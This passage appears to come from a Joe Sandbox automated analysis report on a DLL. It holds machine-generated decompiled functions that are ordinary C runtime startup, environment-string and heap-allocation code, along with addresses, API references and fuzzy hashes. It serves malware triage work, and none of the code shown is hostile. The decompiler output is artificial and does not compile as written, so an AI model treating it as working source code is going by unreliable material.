											E6DA89988(_t58, _t68, _t72, _t76, _t25);
											_pop(_t61);
											E6DA89B43( *((intOrPtr*)(_t82 + 8)), _t76, _t58);
										}
									}
									__eflags = _t72;
									if(_t72 == 0) {
										L19:
										_t76 = E6DA8982E(_t61,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
										 *(_t82 - 0x1c) = _t76;
										__eflags = _t76;
										if(_t76 != 0) {
											_t76 = E6DA89B43( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
											 *(_t82 - 0x1c) = _t76;
										}
									} else {
										__eflags = _t72 - 3;
										if(_t72 == 3) {
											goto L19;
										}
									}
								}
							}
							 *(_t82 - 4) = 0xfffffffe;
							_t40 = _t76;
						} else {
							__eflags =  *0x6dad51a4 - _t72; // 0x1
							if(__eflags > 0) {
								goto L9;
							} else {
								_t40 = 0;
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
						return _t40;
					} else {
						E6DA89623(__ebx, _t61, 1, __esi);
						E6DA8A090();
						E6DA8A0F1();
						 *0x6dad5180 =  *0x6dad5180 & 0x00000000;
						 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
						E6DA89A1D();
						_t54 = E6DA897C4( *((intOrPtr*)(_t82 + 8)), 0);
						asm("sbb esi, esi");
						_t80 =  ~(_t54 & 0x000000ff) & 1;
						__eflags = _t80;
						 *(_t82 - 0x1c) = _t80;
						 *(_t82 - 4) = 0xfffffffe;
						E6DA89A2A();
						_t56 = _t80;
						goto L4;
					}
				} else {
					_t56 = 0;
					L4:
					 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
					return _t56;
				}
			}

0x6da89988
0x6da89988
0x6da8998a
0x6da8998f
0x6da89994
0x6da8999b
0x6da899a2
0x6da899aa
0x6da899ad
0x6da899b6
0x6da899b9
0x6da899bc
0x6da899c3
0x6da89a32
0x6da89a37
0x6da89a38
0x6da89a3a
0x6da89a3f
0x6da89a44
0x6da89a47
0x6da89a49
0x6da89a5a
0x6da89a5a
0x6da89a5e
0x6da89a61
0x6da89a6d
0x6da89a6d
0x6da89a7a
0x6da89a7c
0x6da89a7f
0x6da89a81
0x6da89a8c
0x6da89a91
0x6da89a93
0x6da89a96
0x6da89a98
0x00000000
0x00000000
0x6da89a98
0x6da89a63
0x6da89a63
0x6da89a66
0x00000000
0x6da89a68
0x6da89a68
0x6da89a9e
0x6da89a9e
0x6da89aa8
0x6da89aaa
0x6da89aad
0x6da89ab0
0x6da89ab2
0x6da89ab4
0x6da89ab6
0x6da89abb
0x6da89ac0
0x6da89ac2
0x6da89ac2
0x6da89ac8
0x6da89ac9
0x6da89ace
0x6da89ad4
0x6da89ad4
0x6da89ab4
0x6da89ad9
0x6da89adb
0x6da89ae2
0x6da89aec
0x6da89aee
0x6da89af1
0x6da89af3
0x6da89aff
0x6da89b27
0x6da89b27
0x6da89add
0x6da89add
0x6da89ae0
0x00000000
0x00000000
0x6da89ae0
0x6da89adb
0x6da89a66
0x6da89b2a
0x6da89b31
0x6da89a4b
0x6da89a4b
0x6da89a51
0x00000000
0x6da89a53
0x6da89a53
0x6da89a53
0x6da89a51
0x6da89b36
0x6da89b42
0x6da899c5
0x6da899c5
0x6da899ca
0x6da899cf
0x6da899d4
0x6da899db
0x6da899df
0x6da899e9
0x6da899f5
0x6da899f7
0x6da899f7
0x6da899f9
0x6da899fc
0x6da89a03
0x6da89a08
0x00000000
0x6da89a08
0x6da8999d
0x6da8999d
0x6da89a0a
0x6da89a0d
0x6da89a19
0x6da89a19

APIs

__RTC_Initialize.LIBCMT ref: 6DA899CF
___scrt_uninitialize_crt.LIBCMT ref: 6DA899E9

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: a236505dce262cc4b1e070c093390730346c0fb1fe1668dedce63ac4ddce6055
Instruction ID: 6c6d5e22557d71d5ba0ee6facce26fbe5f88474d98998ba31da6ec8e35a1386a
Opcode Fuzzy Hash: a236505dce262cc4b1e070c093390730346c0fb1fe1668dedce63ac4ddce6055
Instruction Fuzzy Hash: 9741C672D0C21AAFDB118F94CB00BBEBAB9EF85B55F064519ED1567182D7308EC29B90

Uniqueness

Uniqueness Score: -1.00%

Function 6DA89A38 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E6DA89A38(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t24;
				signed int _t25;
				signed int _t29;
				signed int _t35;
				void* _t37;
				void* _t40;
				signed int _t42;
				signed int _t45;
				void* _t47;
				void* _t52;

				_t40 = __edx;
				_push(0xc);
				_push(0x6dab10f8);
				E6DA89CA0(__ebx, __edi, __esi);
				_t42 =  *(_t47 + 0xc);
				if(_t42 != 0) {
					L3:
					 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
					__eflags = _t42 - 1;
					if(_t42 == 1) {
						L6:
						_t35 =  *(_t47 + 0x10);
						_t45 = E6DA89B43( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							L16:
							 *(_t47 - 4) = 0xfffffffe;
							_t24 = _t45;
							L17:
							 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0x10));
							return _t24;
						}
						_t25 = E6DA8982E(_t37,  *((intOrPtr*)(_t47 + 8)), _t42, _t35); // executed
						_t45 = _t25;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							goto L16;
						}
						L8:
						_push(_t35);
						_t45 = E6DA864F0( *((intOrPtr*)(_t47 + 8)), _t42);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t42 - 1;
						if(_t42 == 1) {
							__eflags = _t45;
							if(_t45 == 0) {
								_push(_t35);
								_t29 = E6DA864F0( *((intOrPtr*)(_t47 + 8)), _t26);
								__eflags = _t35;
								_t14 = _t35 != 0;
								__eflags = _t14;
								_push((_t29 & 0xffffff00 | _t14) & 0x000000ff);
								E6DA89988(_t35, _t40, _t42, _t45, _t14);
								_pop(_t37);
								E6DA89B43( *((intOrPtr*)(_t47 + 8)), _t45, _t35);
							}
						}
						__eflags = _t42;
						if(_t42 == 0) {
							L13:
							_t45 = E6DA8982E(_t37,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
							 *(_t47 - 0x1c) = _t45;
							__eflags = _t45;
							if(_t45 != 0) {
								_t45 = E6DA89B43( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
								 *(_t47 - 0x1c) = _t45;
							}
							goto L16;
						} else {
							__eflags = _t42 - 3;
							if(_t42 != 3) {
								goto L16;
							}
							goto L13;
						}
					}
					__eflags = _t42 - 2;
					if(_t42 == 2) {
						goto L6;
					}
					_t35 =  *(_t47 + 0x10);
					goto L8;
				}
				_t52 =  *0x6dad51a4 - _t42; // 0x1
				if(_t52 > 0) {
					goto L3;
				}
				_t24 = 0;
				goto L17;
			}

0x6da89a38
0x6da89a38
0x6da89a3a
0x6da89a3f
0x6da89a44
0x6da89a49
0x6da89a5a
0x6da89a5a
0x6da89a5e
0x6da89a61
0x6da89a6d
0x6da89a6d
0x6da89a7a
0x6da89a7c
0x6da89a7f
0x6da89a81
0x6da89b2a
0x6da89b2a
0x6da89b31
0x6da89b33
0x6da89b36
0x6da89b42
0x6da89b42
0x6da89a8c
0x6da89a91
0x6da89a93
0x6da89a96
0x6da89a98
0x00000000
0x00000000
0x6da89a9e
0x6da89a9e
0x6da89aa8
0x6da89aaa
0x6da89aad
0x6da89ab0
0x6da89ab2
0x6da89ab4
0x6da89ab6
0x6da89abb
0x6da89ac0
0x6da89ac2
0x6da89ac2
0x6da89ac8
0x6da89ac9
0x6da89ace
0x6da89ad4
0x6da89ad4
0x6da89ab4
0x6da89ad9
0x6da89adb
0x6da89ae2
0x6da89aec
0x6da89aee
0x6da89af1
0x6da89af3
0x6da89aff
0x6da89b27
0x6da89b27
0x00000000
0x6da89add
0x6da89add
0x6da89ae0
0x00000000
0x00000000
0x00000000
0x6da89ae0
0x6da89adb
0x6da89a63
0x6da89a66
0x00000000
0x00000000
0x6da89a68
0x00000000
0x6da89a68
0x6da89a4b
0x6da89a51
0x00000000
0x00000000
0x6da89a53
0x00000000

APIs

dllmain_raw.LIBCMT ref: 6DA89A75
dllmain_crt_dispatch.LIBCMT ref: 6DA89A8C
dllmain_raw.LIBCMT ref: 6DA89AD4
dllmain_crt_dispatch.LIBCMT ref: 6DA89AE7
dllmain_raw.LIBCMT ref: 6DA89AFA

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 0711047e2bf707177335fe6cbd54c37caa507a03e9fad230520e57229bb99539
Instruction ID: 08d82b0674fff54fe71a2aa84e1b358986a035e3e870ff74bd85f9b96e1ad2d2
Opcode Fuzzy Hash: 0711047e2bf707177335fe6cbd54c37caa507a03e9fad230520e57229bb99539
Instruction Fuzzy Hash: 5621A375D0C21AAFDB218E54CF44E7F7A79EB85B94F064415FC146B252D3308E828BD0

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9A221 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E6DA9A221() {
				intOrPtr _v8;
				signed int _v12;
				WCHAR* _t5;
				void* _t6;
				intOrPtr _t9;
				WCHAR* _t10;
				WCHAR* _t19;
				WCHAR* _t26;
				WCHAR* _t29;

				_push(_t21);
				_t5 = GetEnvironmentStringsW();
				_t29 = _t5;
				if(_t29 != 0) {
					_t6 = E6DA9A1EA(_t29);
					_t19 = 0;
					_v12 = _t6 - _t29 >> 1;
					_t9 = E6DA98F81(0, 0, _t29, _t6 - _t29 >> 1, 0, 0, 0, 0);
					_v8 = _t9;
					if(_t9 != 0) {
						_t10 = E6DA9458B(_t9); // executed
						_t26 = _t10;
						_push(0);
						if(_t26 != 0) {
							_push(0);
							_push(_v8);
							_push(_t26);
							_push(_v12);
							_push(_t29);
							_push(0);
							_push(0);
							if(E6DA98F81() != 0) {
								E6DA94760(0);
								_t19 = _t26;
							} else {
								E6DA94760(_t26);
							}
							FreeEnvironmentStringsW(_t29);
							_t5 = _t19;
						} else {
							E6DA94760();
							FreeEnvironmentStringsW(_t29);
							_t5 = 0;
						}
					} else {
						FreeEnvironmentStringsW(_t29);
						_t5 = 0;
					}
				}
				return _t5;
			}

0x6da9a227
0x6da9a229
0x6da9a22f
0x6da9a233
0x6da9a23b
0x6da9a240
0x6da9a24e
0x6da9a251
0x6da9a259
0x6da9a25e
0x6da9a26d
0x6da9a272
0x6da9a275
0x6da9a278
0x6da9a28b
0x6da9a28c
0x6da9a28f
0x6da9a290
0x6da9a293
0x6da9a294
0x6da9a295
0x6da9a2a0
0x6da9a2ab
0x6da9a2b0
0x6da9a2a2
0x6da9a2a3
0x6da9a2a3
0x6da9a2b4
0x6da9a2ba
0x6da9a27a
0x6da9a27a
0x6da9a281
0x6da9a287
0x6da9a287
0x6da9a260
0x6da9a261
0x6da9a267
0x6da9a267
0x6da9a2bd
0x6da9a2c0

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6DA9A229

Part of subcall function 6DA98F81: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6DA97659,?,00000000,-00000008), ref: 6DA9902D

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6DA9A261
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6DA9A281

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: cf15da34657c48e4730c21e6ed1abb38830058b61196608147bae4b1be0d2f3a
Instruction ID: 3adca6da547702d7e42243ab49b4dddf3aaedfd03c98f5fd444dc930649f6b75
Opcode Fuzzy Hash: cf15da34657c48e4730c21e6ed1abb38830058b61196608147bae4b1be0d2f3a
Instruction Fuzzy Hash: ED1125B2D2D70A7FAB0113B55D88CAF29EEED8B29C7050116F902CD100FF60CD8141B2

Uniqueness

Uniqueness Score: -1.00%

Function 6DA89881 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E6DA89881(void* __ebx, void* __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, void* __eflags) {
				void* _t43;
				char _t44;
				signed int _t48;
				signed int _t54;
				signed int _t55;
				signed int _t59;
				signed char _t67;
				signed int _t69;
				void* _t80;
				signed int _t86;
				void* _t90;
				void* _t102;
				signed int _t110;
				signed int _t115;
				signed int _t119;
				intOrPtr* _t121;
				void* _t123;

				_t113 = __esi;
				_t106 = __edi;
				_t105 = __edx;
				_push(0x10);
				E6DA89CA0(__ebx, __edi, __esi);
				_t43 = E6DA89653(__ecx, __edx, 0); // executed
				_t90 = 0x6dab10b0;
				if(_t43 == 0) {
					L11:
					_t44 = 0;
					__eflags = 0;
					goto L12;
				} else {
					 *((char*)(_t123 - 0x1d)) = E6DA89558();
					_t85 = 1;
					 *((char*)(_t123 - 0x19)) = 1;
					 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
					_t132 =  *0x6dad5180;
					if( *0x6dad5180 != 0) {
						E6DA89EC6(_t105, __edi, __esi, 7);
						asm("int3");
						_push(0x10);
						_push(0x6dab10d0);
						E6DA89CA0(1, __edi, __esi);
						_t48 =  *0x6dad51a4; // 0x1
						__eflags = _t48;
						if(_t48 > 0) {
							 *0x6dad51a4 = _t48 - 1;
							 *(_t123 - 0x1c) = 1;
							 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
							 *((char*)(_t123 - 0x20)) = E6DA89558();
							 *(_t123 - 4) = 1;
							__eflags =  *0x6dad5180 - 2;
							if( *0x6dad5180 != 2) {
								E6DA89EC6(_t105, 1, _t113, 7);
								asm("int3");
								_push(0xc);
								_push(0x6dab10f8);
								E6DA89CA0(1, 1, _t113);
								_t110 =  *(_t123 + 0xc);
								__eflags = _t110;
								if(_t110 != 0) {
									L23:
									 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
									__eflags = _t110 - 1;
									if(_t110 == 1) {
										L26:
										_t86 =  *(_t123 + 0x10);
										_t115 = E6DA89B43( *((intOrPtr*)(_t123 + 8)), _t110, _t86);
										 *(_t123 - 0x1c) = _t115;
										__eflags = _t115;
										if(_t115 != 0) {
											_t55 = E6DA8982E(_t90,  *((intOrPtr*)(_t123 + 8)), _t110, _t86); // executed
											_t115 = _t55;
											 *(_t123 - 0x1c) = _t115;
											__eflags = _t115;
											if(_t115 != 0) {
												goto L28;
											}
										}
									} else {
										__eflags = _t110 - 2;
										if(_t110 == 2) {
											goto L26;
										} else {
											_t86 =  *(_t123 + 0x10);
											L28:
											_push(_t86);
											_t115 = E6DA864F0( *((intOrPtr*)(_t123 + 8)), _t110);
											 *(_t123 - 0x1c) = _t115;
											__eflags = _t110 - 1;
											if(_t110 == 1) {
												__eflags = _t115;
												if(_t115 == 0) {
													_push(_t86);
													_t59 = E6DA864F0( *((intOrPtr*)(_t123 + 8)), _t56);
													__eflags = _t86;
													_t34 = _t86 != 0;
													__eflags = _t34;
													_push((_t59 & 0xffffff00 | _t34) & 0x000000ff);
													L14();
													_pop(_t90);
													E6DA89B43( *((intOrPtr*)(_t123 + 8)), _t115, _t86);
												}
											}
											__eflags = _t110;
											if(_t110 == 0) {
												L33:
												_t115 = E6DA8982E(_t90,  *((intOrPtr*)(_t123 + 8)), _t110, _t86);
												 *(_t123 - 0x1c) = _t115;
												__eflags = _t115;
												if(_t115 != 0) {
													_t115 = E6DA89B43( *((intOrPtr*)(_t123 + 8)), _t110, _t86);
													 *(_t123 - 0x1c) = _t115;
												}
											} else {
												__eflags = _t110 - 3;
												if(_t110 == 3) {
													goto L33;
												}
											}
										}
									}
									 *(_t123 - 4) = 0xfffffffe;
									_t54 = _t115;
								} else {
									__eflags =  *0x6dad51a4 - _t110; // 0x1
									if(__eflags > 0) {
										goto L23;
									} else {
										_t54 = 0;
									}
								}
								 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
								return _t54;
							} else {
								E6DA89623(1, _t90, 1, _t113);
								E6DA8A090();
								E6DA8A0F1();
								 *0x6dad5180 =  *0x6dad5180 & 0x00000000;
								 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
								E6DA89A1D();
								_t67 = E6DA897C4( *((intOrPtr*)(_t123 + 8)), 0);
								asm("sbb esi, esi");
								_t119 =  ~(_t67 & 0x000000ff) & 1;
								__eflags = _t119;
								 *(_t123 - 0x1c) = _t119;
								 *(_t123 - 4) = 0xfffffffe;
								E6DA89A2A();
								_t69 = _t119;
								goto L18;
							}
						} else {
							_t69 = 0;
							L18:
							 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
							return _t69;
						}
					} else {
						 *0x6dad5180 = 1;
						if(E6DA895B5(_t132) != 0) {
							E6DA8A084(E6DA8A0C5());
							E6DA8A0A2();
							_t80 = E6DA920E2(0x6daa41dc, 0x6daa41f0);
							_pop(_t102);
							if(_t80 == 0 && E6DA8958A(1, _t102) != 0) {
								E6DA920B7(0x6daa4160, 0x6daa41d8);
								 *0x6dad5180 = 2;
								_t85 = 0;
								 *((char*)(_t123 - 0x19)) = 0;
							}
						}
						 *(_t123 - 4) = 0xfffffffe;
						E6DA89964();
						if(_t85 != 0) {
							goto L11;
						} else {
							_t121 = E6DA8A0BF();
							_t138 =  *_t121;
							if( *_t121 != 0) {
								_push(_t121);
								if(E6DA89713(_t85, _t106, _t121, _t138) != 0) {
									 *0x6daa415c( *((intOrPtr*)(_t123 + 8)), 2,  *(_t123 + 0xc));
									 *((intOrPtr*)( *_t121))();
								}
							}
							 *0x6dad51a4 =  *0x6dad51a4 + 1;
							_t44 = 1;
						}
						L12:
						 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
						return _t44;
					}
				}
			}

0x6da89881
0x6da89881
0x6da89881
0x6da89881
0x6da89888
0x6da8988f
0x6da89894
0x6da89897
0x6da8996e
0x6da8996e
0x6da8996e
0x00000000
0x6da8989d
0x6da898a2
0x6da898a5
0x6da898a7
0x6da898aa
0x6da898ae
0x6da898b5
0x6da89982
0x6da89987
0x6da89988
0x6da8998a
0x6da8998f
0x6da89994
0x6da89999
0x6da8999b
0x6da899a2
0x6da899aa
0x6da899ad
0x6da899b6
0x6da899b9
0x6da899bc
0x6da899c3
0x6da89a32
0x6da89a37
0x6da89a38
0x6da89a3a
0x6da89a3f
0x6da89a44
0x6da89a47
0x6da89a49
0x6da89a5a
0x6da89a5a
0x6da89a5e
0x6da89a61
0x6da89a6d
0x6da89a6d
0x6da89a7a
0x6da89a7c
0x6da89a7f
0x6da89a81
0x6da89a8c
0x6da89a91
0x6da89a93
0x6da89a96
0x6da89a98
0x00000000
0x00000000
0x6da89a98
0x6da89a63
0x6da89a63
0x6da89a66
0x00000000
0x6da89a68
0x6da89a68
0x6da89a9e
0x6da89a9e
0x6da89aa8
0x6da89aaa
0x6da89aad
0x6da89ab0
0x6da89ab2
0x6da89ab4
0x6da89ab6
0x6da89abb
0x6da89ac0
0x6da89ac2
0x6da89ac2
0x6da89ac8
0x6da89ac9
0x6da89ace
0x6da89ad4
0x6da89ad4
0x6da89ab4
0x6da89ad9
0x6da89adb
0x6da89ae2
0x6da89aec
0x6da89aee
0x6da89af1
0x6da89af3
0x6da89aff
0x6da89b27
0x6da89b27
0x6da89add
0x6da89add
0x6da89ae0
0x00000000
0x00000000
0x6da89ae0
0x6da89adb
0x6da89a66
0x6da89b2a
0x6da89b31
0x6da89a4b
0x6da89a4b
0x6da89a51
0x00000000
0x6da89a53
0x6da89a53
0x6da89a53
0x6da89a51
0x6da89b36
0x6da89b42
0x6da899c5
0x6da899c5
0x6da899ca
0x6da899cf
0x6da899d4
0x6da899db
0x6da899df
0x6da899e9
0x6da899f5
0x6da899f7
0x6da899f7
0x6da899f9
0x6da899fc
0x6da89a03
0x6da89a08
0x00000000
0x6da89a08
0x6da8999d
0x6da8999d
0x6da89a0a
0x6da89a0d
0x6da89a19
0x6da89a19
0x6da898bb
0x6da898bb
0x6da898cc
0x6da898d3
0x6da898d8
0x6da898e7
0x6da898ed
0x6da898f0
0x6da89905
0x6da8990c
0x6da89916
0x6da89918
0x6da89918
0x6da898f0
0x6da8991b
0x6da89922
0x6da89929
0x00000000
0x6da8992b
0x6da89930
0x6da89932
0x6da89935
0x6da89937
0x6da89940
0x6da8994e
0x6da89954
0x6da89954
0x6da89940
0x6da89956
0x6da8995e
0x6da8995e
0x6da89970
0x6da89973
0x6da8997f
0x6da8997f
0x6da898b5

APIs

__RTC_Initialize.LIBCMT ref: 6DA898CE

Part of subcall function 6DA8A084: RtlInitializeSListHead.NTDLL(6DAD51B8), ref: 6DA8A089

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6DA89938

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 3ceceb245d4b0d561658138f923ccf918fefe71ccd9927004f62725d24ee4b73
Instruction ID: 355a28cd1daee30b0a0dd54c8be03c605e1fd5c8b5bf5ed38a1a6b0f9a21198e
Opcode Fuzzy Hash: 3ceceb245d4b0d561658138f923ccf918fefe71ccd9927004f62725d24ee4b73
Instruction Fuzzy Hash: 6E21023654C346AEEB146FB497007BC77B2AF1636CF058019EEA52B2D3CF6281C5C656

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9580C Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E6DA9580C() {
				signed int _t20;
				signed int _t22;
				long _t23;
				signed char _t25;
				void* _t28;
				signed int _t31;
				void* _t33;

				_t31 = 0;
				do {
					_t20 = _t31 & 0x0000003f;
					_t33 = _t20 * 0x38 +  *((intOrPtr*)(0x6dad5858 + (_t31 >> 6) * 4));
					if( *(_t33 + 0x18) == 0xffffffff ||  *(_t33 + 0x18) == 0xfffffffe) {
						 *(_t33 + 0x28) = 0x81;
						_t22 = _t31;
						if(_t22 == 0) {
							_push(0xfffffff6);
						} else {
							if(_t22 == 1) {
								_push(0xfffffff5);
							} else {
								_push(0xfffffff4);
							}
						}
						_pop(_t23);
						_t28 = GetStdHandle(_t23);
						if(_t28 == 0xffffffff || _t28 == 0) {
							L16:
							 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
							 *(_t33 + 0x18) = 0xfffffffe;
							_t20 =  *0x6dad5844; // 0x128a5d8
							if(_t20 != 0) {
								_t20 =  *(_t20 + _t31 * 4);
								 *(_t20 + 0x10) = 0xfffffffe;
							}
							goto L18;
						} else {
							_t25 = GetFileType(_t28); // executed
							if(_t25 == 0) {
								goto L16;
							} else {
								_t20 = _t25 & 0x000000ff;
								 *(_t33 + 0x18) = _t28;
								if(_t20 != 2) {
									if(_t20 == 3) {
										 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000008;
									}
								} else {
									 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000040;
								}
								goto L18;
							}
						}
					} else {
						 *(_t33 + 0x28) =  *(_t33 + 0x28) | 0x00000080;
					}
					L18:
					_t31 = _t31 + 1;
				} while (_t31 != 3);
				return _t20;
			}

0x6da95811
0x6da95813
0x6da95817
0x6da95820
0x6da9582b
0x6da9583b
0x6da9583f
0x6da95842
0x6da95854
0x6da95844
0x6da95847
0x6da95850
0x6da95849
0x6da9584c
0x6da9584c
0x6da95847
0x6da95856
0x6da9585e
0x6da95863
0x6da95890
0x6da95890
0x6da95894
0x6da9589b
0x6da958a2
0x6da958a4
0x6da958a7
0x6da958a7
0x00000000
0x6da95869
0x6da9586a
0x6da95872
0x00000000
0x6da95874
0x6da95874
0x6da95877
0x6da9587d
0x6da95888
0x6da9588a
0x6da9588a
0x6da9587f
0x6da9587f
0x6da9587f
0x00000000
0x6da9587d
0x6da95872
0x6da95833
0x6da95833
0x6da95833
0x6da958ae
0x6da958ae
0x6da958af
0x6da958bb

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6DA95858
GetFileType.KERNELBASE(00000000), ref: 6DA9586A

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: d6011a626fbfaa0cd19b634e17a9242fc3e8a976056f0ce2d7c4a5f61fe9ed24
Instruction ID: bc9ebf9358b09501056067eeeb268f2f1fb72e75ddad8165d06eedd34360fd58
Opcode Fuzzy Hash: d6011a626fbfaa0cd19b634e17a9242fc3e8a976056f0ce2d7c4a5f61fe9ed24
Instruction Fuzzy Hash: B411A27553C75286C7304D3E88967327AE4A747232BA88B5ED5B58E5F1C730D4C6E344

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9458B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6DA9458B(long _a4) {
				void* _t4;
				void* _t6;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E6DA90403())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x6dad5c48, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
